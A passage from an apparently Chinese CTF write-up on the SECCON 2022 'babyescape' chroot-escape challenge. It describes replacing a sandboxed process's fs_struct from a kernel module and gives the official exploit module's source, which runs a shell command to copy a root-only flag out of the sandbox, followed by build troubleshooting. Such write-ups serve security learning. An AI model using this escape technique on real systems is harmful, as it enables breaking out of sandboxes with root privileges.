-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">fs_struct</span> {<br/>    <span style="color: rgb(209, 154, 102);">int</span> users;<br/>    <span style="color: rgb(209, 154, 102);">spinlock_t</span> lock;<br/>    <span style="color: rgb(209, 154, 102);">seqcount_spinlock_t</span> seq;<br/>    <span style="color: rgb(209, 154, 102);">int</span> umask;<br/>    <span style="color: rgb(209, 154, 102);">int</span> in_exec;<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">path</span> <span style="color: rgb(230, 192, 123);">root</span>, <span style="color: rgb(230, 192, 123);">pwd</span>;<br/>} __randomize_layout;</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下面是chroot sys call :</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">SYSCALL_DEFINE1(chroot, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> __user *, filename)<br/>{<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">path</span> <span style="color: rgb(230, 192, 123);">path</span>;<br/>    <span style="color: rgb(209, 154, 102);">int</span> error;<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;<br/>retry:<br/>    error = user_path_at(AT_FDCWD, filename, lookup_flags, &amp;path);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (error)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>    error = path_permission(&amp;path, MAY_EXEC | MAY_CHDIR);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (error)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> dput_and_out;<br/>    error = -EPERM;<br/>    <span style="color: rgb(198, 120, 221);">if</span> (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))<br/>        <span style="color: rgb(198, 120, 221);">goto</span> dput_and_out;<br/>    error = security_path_chroot(&amp;path);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (error)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> dput_and_out;<br/>    set_fs_root(current-&gt;fs, &amp;path);<br/>    error = <span style="color: rgb(209, 154, 102);">0</span>;<br/>dput_and_out:<br/>    path_put(&amp;path);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (retry_estale(error, lookup_flags)) {<br/>        lookup_flags |= LOOKUP_REVAL;<br/>        <span style="color: rgb(198, 120, 221);">goto</span> retry;<br/>    }<br/>out:<br/>    <span style="color: rgb(198, 120, 221);">return</span> error;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到通过set_fs_root进行了根目录设置，因此期待的解法就是通过内核模块操作sandbox进程改变它的fs_struct为主机fs_struct，使得sandbox进程可以访问主机全部的文件系统。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">题目解法-babyescape</h2><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">这个题的思路是从内核发起攻击，所以解法其实非常多。</p></blockquote><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">解法一</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过改变sandbox程序的task_struct的fs_struct成员，将其指向linux初始进程（比如systemd）的fs_struct，就可以实现chroot绕过，但是这里有一个难点：因为不同的kernel config会导致内核结构体成员的offset存在变化，因此需要对提供的bzImage进行逆向来进行针对目标的内核模块开发。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因此内核逆向是一个难点，因为bzImage是没有符号的，可以通过vmlinux-to-elf进行恢复，一种确定结构体成员偏移的方法是通过类似的函数，比如chroot syscall中的set_fs_root函数。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">SYSCALL_DEFINE1(chroot, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> __user *, filename)<br/>{<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">path</span> <span style="color: rgb(230, 192, 123);">path</span>;<br/>    <span style="color: rgb(209, 154, 102);">int</span> error;<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span> lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;<br/>retry:<br/>    error = user_path_at(AT_FDCWD, filename, lookup_flags, &amp;path);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (error)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>    error = path_permission(&amp;path, MAY_EXEC | MAY_CHDIR);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (error)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> dput_and_out;<br/>    error = -EPERM;<br/>    <span style="color: rgb(198, 120, 221);">if</span> (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))<br/>        <span style="color: rgb(198, 120, 221);">goto</span> dput_and_out;<br/>    error = security_path_chroot(&amp;path);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (error)<br/>        <span style="color: rgb(198, 120, 221);">goto</span> dput_and_out;<br/>    set_fs_root(current-&gt;fs, &amp;path);<br/>    error = <span style="color: rgb(209, 154, 102);">0</span>;<br/>dput_and_out:<br/>    path_put(&amp;path);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (retry_estale(error, lookup_flags)) {<br/>        lookup_flags |= LOOKUP_REVAL;<br/>        <span style="color: rgb(198, 120, 221);">goto</span> retry;<br/>    }<br/>out:<br/>    <span style="color: rgb(198, 120, 221);">return</span> error;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后可以通过对比来确定偏移：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002374" data-ratio="0.8805555555555555" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=640eef55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbwBmibTpZKwBr8DLCsib5J6I4fI5Is92W8RhcBVlxy2eHWMzA0HHkrWMHArppxLLGI8eiaPczusM5KQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样的话，就可以操作目标进程的task_struct的fs结构体成员，最终实现对于fs的替换。当然逆向总归是有点麻烦的，有时候可以通过linux kernel 提供的extract-ikconfig来提取编译好的内核配置，但是这要看对方编译内核的时候是否开启或者关闭了相应的配置。</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">CONFIG_IKCONFIG=y extract-ikconfi is ok!</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">CONFIG_IKCONFIG=m, the configuration in stored in a module (<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">configs.ko</code>)</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;">/lib/modules/$(uname -r)/kernel/kernel/configs.ko</code></p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">以下是linux kernel patch中的commit:</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">1. Include configuration in running kernel image. This adds to the<br/>footprint of the running kernel but allows configuration to be retrieved<br/>using &#34;cat /proc/ikconfig/config&#34;.<br/>2. Include configuration in kernel image file but not in the running<br/>kernel. This adds to the kernel image file size but not the footprint of<br/>running kernel. Configuration can be extracted from kernel image file<br/>using scripts/extract-ikconfig. This script is in principle the same as<br/>what Randy had written originally. I have made it little more robust and<br/>structured it to accomodate more than just x86 architecture.<br/>3. Not include kernel configuration in the running kernel or kernel<br/>image file. </code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">解决了上述问题之后还有一个问题就是内核模块的编译，因为目标kernel版本的内核编译有时候还挺复杂的，需要注意kernel的C宏以及最好拉一个目标版本linux kernel的docker，然后用里面的gcc进行编译，可能它们之间已经存在一定的耦合了。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">解法二</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上面的是个人的思路，官方的话，其实更简单一些，他们利用了kernel space 和 user space的交互：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/module.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/kernel.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/cdev.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/fs.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/uaccess.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/slab.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/random.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;asm/uaccess.h&gt;</span></span><br/><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> DEVICE_NAME <span style="color: rgb(152, 195, 121);">&#34;pwn&#34;</span></span><br/>MODULE_LICENSE(<span style="color: rgb(152, 195, 121);">&#34;GPL&#34;</span>);<br/>MODULE_AUTHOR(<span style="color: rgb(152, 195, 121);">&#34;ptr-yudai&#34;</span>);<br/>MODULE_DESCRIPTION(<span style="color: rgb(152, 195, 121);">&#34;Intended Solution for chr00t - SECCON 2022 Finals&#34;</span>);<br/><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">module_open</span>(<span style="color: rgb(198, 120, 221);">struct</span> inode *inode, <span style="color: rgb(198, 120, 221);">struct</span> file *file) {<br/>  <span style="color: rgb(209, 154, 102);">int</span> ret;<br/>  <span style="color: rgb(209, 154, 102);">char</span> userprog[] = <span style="color: rgb(152, 195, 121);">&#34;/bin/sh&#34;</span>;<br/>  <span style="color: rgb(209, 154, 102);">char</span> *argv[] = {<br/>    userprog, <span style="color: rgb(152, 195, 121);">&#34;-c&#34;</span>,<br/>    <span style="color: rgb(152, 195, 121);">&#34;/bin/cat /root/flag.txt &gt; /sandbox/flag.txt&#34;</span>, <span style="color: rgb(86, 182, 194);">NULL</span><br/>  };<br/>  <span style="color: rgb(209, 154, 102);">char</span> *envp[] = {<span style="color: rgb(152, 195, 121);">&#34;HOME=/&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;PATH=/sbin:/usr/sbin:/bin:/usr/bin&#34;</span>, <span style="color: rgb(86, 182, 194);">NULL</span> };<br/>  ret = call_usermodehelper(userprog, argv, envp, UMH_WAIT_EXEC);<br/>  <span style="color: rgb(198, 120, 221);">if</span> (ret != <span style="color: rgb(209, 154, 102);">0</span>)<br/>    printk(<span style="color: rgb(152, 195, 121);">&#34;pwn: failed with %d\n&#34;</span>, ret);<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>    printk(<span style="color: rgb(152, 195, 121);">&#34;pwn: success\n&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>}<br/><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">file_operations</span> <span style="color: rgb(230, 192, 123);">module_fops</span> = {<br/>  .owner = THIS_MODULE,<br/>  .open  = module_open,<br/>};<br/><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">int</span> __init <span style="color: rgb(97, 174, 238);">module_initialize</span>(<span style="color: rgb(209, 154, 102);">void</span>) {<br/>  register_chrdev(<span style="color: rgb(209, 154, 102);">60</span>, DEVICE_NAME, &amp;module_fops);<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>}<br/><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">void</span> __exit <span style="color: rgb(97, 174, 238);">module_cleanup</span>(<span style="color: rgb(209, 154, 102);">void</span>) {<br/>  unregister_chrdev(<span style="color: rgb(209, 154, 102);">60</span>, DEVICE_NAME);<br/>}<br/>module_init(module_initialize);<br/>module_exit(module_cleanup);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样省去了offset对抗，不过在对此代码进行linux-kenrel-6.1.5编译的时候我发现一些奇怪的问题：</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Makefile:</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">obj-m := pwn.o<br/>BUILDROOT_PATH := /home/ptr/armoury/buildroot<br/>KBUILD_DIR := ~/linux-6.1.5<br/><span style="color: rgb(224, 108, 117);">all:</span><br/>    <span style="color: rgb(209, 154, 102);">$(MAKE)</span> -C <span style="color: rgb(209, 154, 102);">$(KBUILD_DIR)</span> M=<span style="color: rgb(209, 154, 102);">$(<span style="color: rgb(230, 192, 123);">shell</span> pwd)</span> modules<br/><span style="color: rgb(224, 108, 117);">clean:</span><br/>    <span style="color: rgb(209, 154, 102);">$(MAKE)</span> -C <span style="color: rgb(209, 154, 102);">$(KBUILD_DIR)</span> M=<span style="color: rgb(209, 154, 102);">$(<span style="color: rgb(230, 192, 123);">shell</span> pwd)</span> clean</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">compile info里面包含一些奇怪的提示：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">WARNING: Module.symvers is missing. Modules may not have dependencies or modversions. You may get many unresolved symbol warnings. WARNING: modpost: &#34;call_usermodehelper&#34; [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: &#34;_printk&#34; [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: &#34;__x86_return_thunk&#34; [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: &#34;__stack_chk_fail&#34; [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: &#34;__register_chrdev&#34; [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: &#34;__unregister_chrdev&#34; [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined!</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">编译好的内核在目标环境内插入的时候error:</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">insmod: can&#39;t insert &#39;pwn.ko&#39;: unknown symbol in module, or unknown parameter</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">查了下Module.symvers的作用：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">Module. symvers <strong style="line-height: 1.75;color: rgb(255, 118, 118);">contains all exported symbols from the kernel and compiled modules</strong>. For each symbol, the corresponding CRC value is also stored. The fields are separated by tabs and values may be empty (e.g. if no namespace is defined for an exported symbol).</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以就是在kernel export的符号里面没有包含module里面用到的函数？但是kernel code里面是能找到相关的api的时候，到这里就有点没有头绪了，不过既然是官方的exp，想必是官方已经编译通过且正常使用了，因此我怀疑会不会跟kernel configure等相关？希望知道的大佬可以指点迷津。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">总结</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过kernel module肯定可以做很多事情，不过要看seccomp是否对kernel load相关的syscall进行了限制。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">题目详情-Young Man esCApe</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 